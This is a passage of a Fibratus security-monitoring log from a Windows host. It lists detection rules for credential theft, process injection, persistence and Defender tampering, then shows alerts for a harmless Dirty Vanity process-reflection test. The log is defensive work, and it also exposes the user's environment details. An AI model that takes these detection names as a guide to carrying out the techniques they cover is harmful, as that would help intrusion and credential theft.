ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd28b7aed60c0, name➜ cmd.exe, pid➜ 8664, ppid➜ 320, real_ppid➜ 320, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 20:59:40.9323836 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 13477585044239286272, rule.name: Suspicious child spawned from a reflected process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 320 + Ppid: 14332 + Name: cmd.exe + Parent name: cmd.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Users\nedo\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8228_1262719628:1 EFC_8228_1592913036:1 EFC_8228_2283032206:1 EFC_8228_2775293581:1 EFC_8228_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T21:00:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T21:00:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T21:00:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T21:18:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T21:18:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T21:18:49+01:00 level=info msg=bootstrapping with pid 5636. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T21:18:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-image=>true enable-mem=>false enable-fileio=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-threadpool=>false enable-registry=>true enable-dns=>false flush-interval=>1s enable-handle=>false enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ amqp=>[ passive=>false timeout=>5s exchange=>fibratus durable=>false url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus exchange-type=>topic vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] elasticsearch=>[ sniff=>false template-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s healthcheck=>true timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json endpoints=>[] method=>POST enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-registry=>false fastscan=>true skip-files=>false skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T21:18:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T21:18:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T21:19:35+01:00 level=info msg=sending alert: [Suspicious child spawned from a reflected process]. Text: Suspicious child process C:\Windows\System32\cmd.exe spawned by reflected process C:\WINDOWS\system32\cmd.exe + Event(s): + Seq: 325974 + Pid: 10968 + Tid: 8392 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 21:19:34.6369575 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 116cb5000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd28b81bef0c0, name➜ cmd.exe, pid➜ 144, ppid➜ 10968, real_ppid➜ 10968, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 21:19:34.6368479 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 6200049521385275392, rule.name: Suspicious child spawned from a reflected process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 10968 + Ppid: 8228 + Name: cmd.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Users\nedo\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8228_1262719628:1 EFC_8228_1592913036:1 EFC_8228_2283032206:1 EFC_8228_2775293581:1 EFC_8228_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 326083 + Pid: 144 + Tid: 18148 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 21:19:34.655451 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 36e054000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd28b710ec0c0, name➜ cmd.exe, pid➜ 4436, ppid➜ 144, real_ppid➜ 144, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 21:19:34.6553719 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 6200049521385275392, rule.name: Suspicious child spawned 